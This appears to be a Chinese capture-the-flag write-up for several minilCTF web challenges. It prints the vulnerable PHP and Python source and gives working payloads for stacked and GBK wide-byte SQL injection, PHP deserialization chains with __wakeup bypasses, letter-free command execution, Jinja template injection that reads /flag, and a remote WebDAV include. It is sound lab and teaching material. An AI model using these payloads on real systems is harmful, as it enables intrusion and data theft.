西电minilCTF_Wp

西电minilCTF_Wp

[TOC]

id_wife


返回的是数组,猜测是堆叠注入..
输入w1nd'有报错返回
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''w1nd'')' at line 1
emmm,可以看到有个空格没闭合
输入w1nd')#返回正常~

w1nd');show tables;#

1
2
array(1) { [0]=> string(13) "1145141919810" }
array(1) { [0]=> string(4) "user" }

有点眼熟,和2019强网杯感觉差不多,过滤也差不多,直接拿payload打了
payload:

1
2
3
4
5
w1nd');show databases;#
w1nd');show tables;#
w1nd');Set @t=0x73656c65637420312c323b;Prepare x from @t;Execute x;# //select 1,2
w1nd');Set @t=73656c65637420646174616261736528293b;Prepare x from @t;Execute x;#
w1nd');Set @t=0x73656c656374202a2066726f6d206d696e694c2e313134353134313931393831300a;Prepare x from @t;Execute x;#

2019强网杯随便注参考链接

p

出题人一开始环境搞错了 __wakeup php7.1以上不能绕过了~
index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include 'classes.php';
if (!isset($_COOKIE['git'])) {
ob_start();
setcookie('git', base64_encode(serialize(new gitee('index.php'))));
echo '<script>location.reload()</script>';
ob_end_flush();
die();
}
$comp = unserialize(base64_decode($_COOKIE['git']));
highlight_file($comp->file);
echo '<br>';

classes.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class gitee {
function __destruct() {
echo '你用上了Git,可是,代价是什么呢(悲)';
}
function __construct($f) {
$this->file = $f;
}
}
class github {
public $cmd = '';
function __destruct() {
if (preg_match("/[A-Za-oq-z0-9$]+/", $this->cmd))
die("cerror");
$blacklist = "~!@#%^&*()()-_{}[]'\":,";
foreach(str_split($blacklist) as $char) {
echo $char;
if(strchr($this->cmd, $char) !== false)
die('serror');
}
eval($this->cmd);
}
public function __wakeup() {
if ($_SERVER["HTTP_X_REAL_IP"] !== '127.0.0.1') {
// proxy_set_header X-Real-IP $remote_addr;
die('across the great ... nope');
}
}
}

正则表达式/[A-Za-oq-z0-9$]+/,只留留一个字母p,也眼熟
p神链接
构造上传文件表单,php会把上传的文件临时放到/tmp/phpXXXXXX末尾随机6位
然后利用linux的

shell下可以利用.来执行任意脚本
Linux文件名支持用glob通配符代替

利用/???/p?p??????来指定我们上传的临时文件
php反序列化poc:

1
2
3
4
5
6
7
8
<?php
class github {
public $cmd = '?><?=`. /???/p?p??????`;?>';
}
$a = new github();
echo (serialize($a));
$b = 'O:6:"github":2:{s:3:"cmd";s:26:"?><?=`. /???/p?p??????`;?>";}';
echo base64_encode($b);

这里利用改变改变github属性个数的值来绕过__wakeup(php版本7.1以上不可

Let’s_Play_Dolls

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
error_reporting(0);
if(isset($_GET['a'])){
unserialize($_GET['a']);
}
else{
highlight_file(__FILE__);
}

class foo1{
public $var='';
function __construct(){
$this->var='phpinfo();';
}
function execute(){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->var)) {
if(!preg_match('/header|bin|hex|oct|dec|na|eval|exec|system|pass/i',$this->var)){
eval($this->var);
}
else{
die("hacked!");
}
}

}
function __wakeup(){
$this->var="phpinfo();";
}
function __desctuct(){
echo '<br>desctuct foo1</br>';
}
}
class foo2{
public $var;
public $obj;
function __construct(){
$this->var='hi';
$this->obj=null;
}
function __toString(){
$this->obj->execute();
return $this->var;
}
function __desctuct(){
echo '<br>desctuct foo2</br>';
}
}
class foo3{
public $var;
function __construct(){
$this->var="index.php";
}
function __destruct(){
if(file_exists($this->var)){
echo "<br>".$this->var."exist</br>";
}
echo "<br>desctuct foo3</br>";
}
function execute(){
print("hi");
}
}

反序列化+无字母RCE
unserialize开始反序列化,想要调用foo1::execute()来执行eval()函数,发现foo2::__toString()可以,想要调用__toString()就要把这个对象当成字符串来用,foo3有file_exists()且里面参数可控
反序列化poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class foo1{
public $var='var_dump(scandir(getcwd()));';
}
class foo2{
public $var;
public $obj;
}
class foo3{
public $var;
}
$a = new foo3();
$a->var=new foo2();
$a->var->obj=new foo1();
echo serialize($a);

也要绕一下__wakeup
payload:?a=O:4:"foo3":1:{s:3:"var";O:4:"foo2":2:{s:3:"var";N;s:3:"obj";O:4:"foo1":2:{s:3:"var";s:28:"var_dump(scandir(getcwd()));";}}}
无参数RCE参考链接
好多种办法,

Personal_IP_Query

Python环境,emm猜测SSTI
可控点是X-Forwarded-For
1成功~
好多过滤,下划线也不能用
poc:

1
http://77c8bd10b3d8d0267fe650d6fee31007.challenge.mini.lctf.online:1080/?class=__class__&mro=__mro__&subclasses=__subclasses__&init=__init__&globals=__globals__&builtins=__builtins__&eval=eval&cat=__import__('os').popen('cat /flag')

x-forwarded-for:

1
{{[][request.args.class][request.args.mro][1][request.args.subclasses]()[174][request.args.init][request.args.globals][request.args.builtins][request.args.eval](request.args.cat).read()}}

参考链接
https://www.cnblogs.com/zaqzzz/p/10263396.html
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/
https://www.freebuf.com/articles/system/203208.html
https://xz.aliyun.com/t/3679
https://xz.aliyun.com/t/6885

are you reclu3e?

放了hint之后才做出来
hint提示vim
那就是有.swp文件泄露源码了
下载文件.index.php.swp
index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include "flag.php";//$flag="minilctf{****}";
session_start();
if (empty($_SESSION['uid'])) {
include "loginForm.html";
}
else{
echo '<h1>Hello, reclu3e!</h1>';
$p=unserialize(isset($_GET["p"])?$_GET["p"]:"");
}
?>
<?php
class person{
public $name='';
public $age=0;
public $weight=0;
public $height=0;
private $serialize='';
public function __wakeup(){
if(is_numeric($this->serialize)){
$this->serialize++;
}
}
public function __destruct(){
@eval('$s="'.$this->serialize.'";');
}
}

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include "connection.php";
mysqli_query($conn, "SET CHARACTER SET 'gbk'");

$username=addslashes($_POST['username']);
$password=addslashes($_POST['password']);
$msg='';
if(empty($username)){
$msg='please post your username';
}
else{
$sql="select * from users where username='$username'";
$result=mysqli_query($conn,$sql);
if($result){
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
}
if(empty($row)){
$msg='you are not reclu3e';
}
else{
if($row['password']!==$password){
$msg='I know you are reclu3e but you need post the right password';
}
else{
session_start();
$_SESSION['uid'] = $username;
echo '<script>alert("Yes! you are reclu3e")</script>';
}
}
}
if(!empty($msg)){
echo "<script>alert('$msg')</script>";
}
$conn->close();
echo "<script type='text/javascript'>";
echo "window.location.href='index.php'";
echo "</script>";

想要执行命令,if (empty($_SESSION['uid']))那就要先登陆

查看login.php有gbk,addslashes那就是宽字符注入了

1
2
3
$username=addslashes($_POST['username']);
$password=addslashes($_POST['password']);
mysqli_query($conn, "SET CHARACTER SET 'gbk'");

payload:

1
username=%df%27 union select 123,123#&password=123


宽字符注入链接:https://xz.aliyun.com/t/6677#toc-6
登陆成功,index.php的反序列化直接命令执行
poc:

1
2
3
4
5
6
<?php
class person{
private $serialize='"?><?php phpinfo(); ?>"'; //注意闭合
}
$a = new person();
echo serialize($a);

得到O:6:"person":1:{s:17:"personserialize";s:23:""?><?php phpinfo(); ?>"";}
因为是private所以有那个不可见字符,是%00,替换一下
O:6:"person":1:{s:17:"%00person%00serialize";s:23:""?><?php phpinfo(); ?>"";}
flag在环境变量里,就查看phpinfo()就ok

ezbypass

扫描目录发现有/.DS_Store文件,可能有泄露

发现有/flag327a6c4304a/目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include ('flag.php');
error_reporting(0);
function filter($payload){
$key = array('php','flag','xdsec');
$filter = '/'.implode('|',$key).'/i';
return preg_replace($filter,'hack!!!!',$payload);
}

$payload=$_GET['payload'];
$fuck['mini']='nb666';
$fuck['V0n']='no_girlfriend';

if(isset($payload)) {
if (strpos($payload, 'php') >=0 || strpos($payload, 'flag')>=0 || strpos($payload, 'xdsec')>=0) {
$fuck['mini']=$payload;
var_dump(filter(serialize($fuck)));
$fuck=unserialize(filter(serialize($fuck)));
var_dump($fuck);
if ($fuck['V0n'] === 'has_girlfriend') {
echo $flag;
} else {
echo 'fuck_no_girlfriend!!!';
}
}else{
echo 'fuck_no_key!!!';
}
}else{
highlight_file(__FILE__);
}

替换字符,反序列化字符串逃逸
a:2:{s:4:"mini";s:3:"123";s:3:"V0n";s:13:"no_girlfriend";}
我们想要V0n的值为has_girlfriend
简单说一下就是,因为有:

1
2
3
$key = array('php','flag','xdsec');
$filter = '/'.implode('|',$key).'/i';
return preg_replace($filter,'hack!!!!',$payload);

他会把php。。。替换成hack!!!!长度增加了,就能代替后面的字符了
自行百度反序列化字符串长度逃逸
payload:

1
2
3
4
";s:3:"V0n";s:13:"no_girlfriend";}
";s:3:"V0n";s:14:"has_girlfriend";} //35
"php"*7 = 35
phpphpphpphpphpphpphp";s:3:"V0n";s:14:"has_girlfriend";}

签到题

脑洞题
访问?a=yes yes 算出来的结果|/readflag

include

服务器上搭个webdev(docker端口映射好像必须80:80
https://xz.aliyun.com/t/5535#toc-5
然后服务器上写<?php system("dir");?>